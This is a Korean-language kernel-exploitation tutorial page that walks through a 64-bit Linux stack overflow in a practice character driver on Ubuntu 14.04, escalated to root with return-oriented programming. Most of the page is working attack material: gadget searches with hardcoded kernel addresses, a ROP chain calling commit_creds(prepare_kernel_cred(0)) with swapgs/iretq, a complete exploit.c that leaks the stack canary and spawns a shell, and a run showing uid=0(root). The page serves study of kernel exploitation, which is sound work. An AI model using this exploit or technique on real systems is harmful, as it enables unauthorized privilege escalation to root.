Excuse the ads! We need some help to keep our site up.
List
03.Stack smashing(64bit) & ROP
Set environment
Proof of concept
- 02.Stack smashing(64bit) & Return-to-user(ret2usr) - Proof of concept 에서 사용한 Example code를 사용합니다.
Return Oriented Programming
- ROP 기술에 대한 정보는 06.ROP(Return Oriented Programming) 페이지에서 확인 가능합니다.
Exploit method
ROP 기법을 이용한 Exploit의 순서는 다음과 같습니다.
Exploit 순서
prepare_kernel_cred() 함수의 인자 값으로 '0'을 전달해 "root"의 자격 증명을 준비합니다.
- commit_creds() 함수의 인자 값으로 prepare_kernel_cred() 함수가 리턴한 값("root"의 자격 증명)을 전달 합니다.
- system() 함수를 이용하여 "/bin/sh" 를 실행합니다.
- 이를 코드로 표현하면 다음과 같습니다.
code
commit_creds(prepare_kernel_cred(NULL)); system("/bin/sh");
- 앞에 내용을 바탕으로 공격을 위해 알아내어야 할 정보는 다음과 같습니다.
확인해야 할 정보 목록
prepare_kernel_cred() 함수의 주소
commit_creds() 함수의 주소
- 가젯의 위치
- "pop rdi"
- "mov rdi, rax"
- "swapgs"
- "iretq"
Find gadget
Ubuntu 14.04버전의 경우 KASLR이 기본적으로 활성화되어 있지 않습니다.
즉, Gadget을 Debug Symbol 파일에서 Gadget의 위치를 찾아 사용하면됩니다.
다음과 같이 첫번째 인자 값을 저장하기 위한 "pop rdi" Gadget을 찾을 수 있습니다.
Find "pop rdi"
lazenca0x0@ubuntu:~/Kernel/Exploit$ ./rp-lin-x64 -f /usr/lib/debug/boot/vmlinux-4.4.0-31-generic -r 1|grep "pop rdi ; ret" | head -1 0xffffffff813e223f: pop rdi ; ret ; (1 found) lazenca0x0@ubuntu:~/Kernel/Exploit$
- prepare_kernel_cred() 함수의 리턴 값을 첫번째 인자값으로 전달하기 위해 "mov rdi, rax" Gadget이 필요합니다.
많은 양의 "mov rdi, rax" Gadget이 출력되지만 "ret" 명령어로 끝나는 Gadget은 존재하지 않습니다.
- 이 문제를 해결하기 위해 call 명령어에 의해 commit_creds() 함수가 호출되도록 구현합니다.
- 예를 들어 RDX 레지스터에 commit_creds() 함수의 주소를 저장하고, "mov rdi, rax ; call rdx" Gadget을 이용해 해당 함수를 호출합니다.
Find "mov rdi, rax"
lazenca0x0@ubuntu:~/Kernel/Exploit$ ./rp-lin-x64 -f /usr/lib/debug/boot/vmlinux-4.4.0-31-generic -r 1|grep "mov rdi, rax" 0xffffffff810661d4: mov rdi, rax ; call qword [0x81C2E0F8] ; (1 found) 0xffffffff811b4bd3: mov rdi, rax ; call qword [0x81C2E148] ; (1 found) 0xffffffff811ba7d5: mov rdi, rax ; call qword [0x81C2E148] ; (1 found) 0xffffffff817efe40: mov rdi, rax ; call qword [0x81C2E148] ; (1 found) 0xffffffff81d66689: mov rdi, rax ; call qword [0x81C2E148] ; (1 found) ... 0xffffffff817592d9: mov rdi, rax ; call rdx ; (1 found) 0xffffffff8175a6f5: mov rdi, rax ; call rdx ; (1 found) 0xffffffff8175c5fe: mov rdi, rax ; call rdx ; (1 found) 0xffffffff817696cb: mov rdi, rax ; call rdx ; (1 found) 0xffffffff817e9e92: mov rdi, rax ; call rdx ; (1 found) lazenca0x0@ubuntu:~/Kernel/Exploit$
Find "mov rdi, rax ; call rdx"
lazenca0x0@ubuntu:~/Kernel/Exploit$ ./rp-lin-x64 -f /usr/lib/debug/boot/vmlinux-4.4.0-31-generic -r 1|grep "mov rdi, rax ; call rdx"|head -1 0xffffffff810152cf: mov rdi, rax ; call rdx ; (1 found) lazenca0x0@ubuntu:~/Kernel/Exploit$
- RDX 레지스터에 commit_creds() 함수의 주소를 저장하기 위해 "pop rdx" Gadget을 찾습니다.
Find "pop rdx"
lazenca0x0@ubuntu:~/Kernel/Exploit$ ./rp-lin-x64 -f /usr/lib/debug/boot/vmlinux-4.4.0-31-generic -r 1|grep "pop rdx ; ret"|head -1 0xffffffff8112d952: pop rdx ; ret ; (1 found) lazenca0x0@ubuntu:~/Kernel/Exploit$
- GS 레지스터 값의 교환을 위한 "SWAPGS" Gadget을 찾습니다.
Find "swapgs"
lazenca0x0@ubuntu:~/Kernel/Exploit$ ./rp-lin-x64 -f /usr/lib/debug/boot/vmlinux-4.4.0-31-generic -r 2|grep "swapgs" 0xffffffff810613d4: swapgs ; pop rbp ; ret ; (1 found) lazenca0x0@ubuntu:~/Kernel/Exploit$
- Kernel 영역에서 User 영역으로 돌아가기 위해 "iretq" 명령어를 찾습니다.
- "rp-lin-x64" 프로그램은 "ret, call, jmp"로 끝나는 Gadget만을 찾기 때문에 "iret" 명령어는 검색되지 않습니다.
- "rp-lin-x64" 프로그램은 "ret, call, jmp"로 끝나는 Gadget만을 찾기 때문에 "iret" 명령어는 검색되지 않습니다.
- 다음과 같이 "objdump"를 이용하여 "iret" Gadget을 찾을 수 있습니다.
Find "iretq"
lazenca0x0@ubuntu:~/Kernel/Exploit$ ./rp-lin-x64 -f /usr/lib/debug/boot/vmlinux-4.4.0-31-generic -r 2|grep "iretq" lazenca0x0@ubuntu:~/Kernel/Exploit$ objdump -j .text -d /usr/lib/debug/boot/vmlinux-4.4.0-31-generic |grep iretq|head -1 ffffffff817f7a97: 48 cf iretq lazenca0x0@ubuntu:~/Kernel/Exploit$
ROP
- 다음과 같이 ROP를 구현할 수 있습니다.
ROP
int main(){ ... size_t rop[512] = {0}; ... rop[8] = canary; rop[9] = 0; rop[10] = 0; rop[11] = 0; rop[12] = 0xffffffff813e223f; //pop_rdi rop[13] = 0; rop[14] = prepare_kernel_cred; rop[15] = 0xffffffff8112d952; //pop rdx ; ret ; rop[16] = commit_creds; rop[17] = 0xffffffff817e9e92; //mov rdi, rax ; call rdx ; rop[18] = 0; rop[19] = 0xffffffff810613d4; //swapgs ; pop rbp ; ret ; rop[20] = 0; rop[21] = 0xffffffff817f7a97; //iretq; rop[22] = (size_t)getShell; rop[23] = rv.user_cs; rop[24] = rv.user_rflags; rop[25] = rv.user_rsp; rop[26] = rv.user_ss; write(fd, rop, 8*27); ... return 0; }
- 다음과 같이 ROP를 이용하여 shell을 획득하게 됩니다.
Get shell
lazenca0x0@ubuntu:~/Kernel/Exploit/ROP$ ./rop prepare_kernel_cred addr: 0xffffffff8109da40 commit_creds addr: 0xffffffff8109d760 SAW CTF challenge. Best of luck! 53 41 57 20 43 54 46 20 63 68 61 6c 6c 65 6e 67 | SAW CTF challeng 65 2e 20 42 65 73 74 20 6f 66 20 6c 75 63 6b 21 | e. Best of luck! 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | 0f eb 2e a8 00 00 00 00 c0 6c 6c 00 00 00 00 00 | ?.??ll [+]canary: 0xa82eeb0f # id uid=0(root) gid=0(root) groups=0(root) #
Exploit code
- 다음과 같이 Exploit code를 완성할 수 있습니다.
exploit.c
//gcc -masm=intel -static -o rop exploit.c #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #include <string.h> #include <stdint.h> #define TEXT_LEN 64 struct register_val { uint64_t user_rip; uint64_t user_cs; uint64_t user_rflags; uint64_t user_rsp; uint64_t user_ss; } __attribute__((packed)); struct register_val rv; size_t commit_creds, prepare_kernel_cred; void getShell(void) { execl("/bin/sh","sh",NULL); } void backup_rv(void) { asm("mov rv+8, cs;" "pushf; pop rv+16;" "mov rv+24, rsp;" "mov rv+32, ss;" ); } unsigned long kallsym_getaddr(const char* str) { FILE *stream; char fbuf[256]; char addr[32]; stream = fopen("/proc/kallsyms","r"); if(stream < 0) { printf("failed to open /proc/kallsyms\n"); return 0; } memset(fbuf,0x00,sizeof(fbuf)); char buf[0x30] = {0}; while(fgets(fbuf,256,stream) != NULL) { char *p = fbuf; char *a = addr; if(strlen(fbuf) == 0) continue; memset(addr,0x00,sizeof(addr)); fbuf[strlen(fbuf)-1] = '\0'; while(*p != ' ') *a++ = *p++; p += 3; if(!strcmp(p,str)){ char hex[20] = {0}; strncpy(hex, addr, 16); if(strcmp(str,"prepare_kernel_cred") == 0){ sscanf(hex, "%lx", &prepare_kernel_cred); return 1; }else if(strcmp(str,"commit_creds") == 0){ sscanf(hex, "%lx", &commit_creds); return 1; } } } return 0; } int main() { static char buf[512]; size_t rop[512] = {0}; char val[8]; int fd,i,j; if(kallsym_getaddr("commit_creds") == 0) { printf("failed to get commit_creds address\n"); return 0; } if(kallsym_getaddr("prepare_kernel_cred") == 0) { printf("failed to get prepare_kernel_cred address\n"); return 0; } if ((fd = open("/dev/chardev0", O_RDWR)) < 0){ printf("Cannot open /dev/chardev0. Try again later.\n"); return 0; } printf("prepare_kernel_cred addr: %p\n", (void*)prepare_kernel_cred); printf("commit_creds addr: %p\n", (void*)commit_creds); lseek(fd, 16, SEEK_CUR); read(fd, buf, TEXT_LEN); printf("%s\n",buf); for (i = 0; i < 4; i++) { for (j = 0; j < 16; j++) printf("%02x ", buf[i*16+j] & 0xff); printf(" | "); for (j = 0; j < 16; j++) printf("%c", buf[i*16+j] & 0xff); printf("\n"); } memcpy(val, buf+48,8); size_t canary = ((size_t *)val)[0]; printf("[+]canary: %p\n", (void *)canary); backup_rv(); rop[8] = canary; rop[9] = 0; rop[10] = 0; rop[11] = 0; rop[12] = 0xffffffff813e223f; //pop_rdi rop[13] = 0; rop[14] = prepare_kernel_cred; // Call prepare_kernel_cred rop[15] = 0xffffffff8112d952; //pop rdx ; ret ; rop[16] = commit_creds; rop[17] = 0xffffffff817e9e92; //mov rdi, rax ; call rdx(commit_creds) ; rop[18] = 0; rop[19] = 0xffffffff810613d4; //swapgs ; pop rbp ; ret ; rop[20] = 0; rop[21] = 0xffffffff817f7a97; //iretq; rop[22] = (size_t)getShell; rop[23] = rv.user_cs; rop[24] = rv.user_rflags; rop[25] = rv.user_rsp; rop[26] = rv.user_ss; write(fd, rop, 8*27); if (close(fd) != 0){ printf("Cannot close.\n"); } return 0; }
References
- https://security.stackexchange.com/questions/170941/kernel-x86-32-bit-stack-overflow-overwriting-eip-segfaults-in-kernel-vsyscal
- https://elixir.bootlin.com/linux/latest/ident/copy_from_user
- https://www.fsl.cs.sunysb.edu/kernel-api/re249.html
- https://www.fsl.cs.sunysb.edu/kernel-api/re257.html
- https://blackperl-security.gitlab.io/blog/2018/05/14/2018-05-14-csaw2010-kernelex/
- https://github.com/ctf-wiki/ctf-wiki/blob/master/docs/pwn/linux/kernel/ret2usr.md
- https://github.com/bash-c/pwn_repo/blob/master/QWB2018_core/rop.c
- https://github.com/ctf-wiki/ctf-wiki/blob/master/docs/pwn/linux/kernel/kernel_rop.md
- http://m4x.fun/post/linux-kernel-pwn-abc-1/
- https://github.com/0x3f97/pwn/tree/master/kernel/kernel_rop
- https://old.nixaid.com/kernel-rop/
- https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/linux-kernel-rop-ropping-your-way-to-part-1/
- https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/linux-kernel-rop-ropping-your-way-to-part-2/
- https://github.com/bash-c/pwn_repo/blob/master/QWB2018_core/rop.c
- https://github.com/ctf-wiki/ctf-wiki/blob/master/docs/pwn/linux/kernel/kernel_rop.md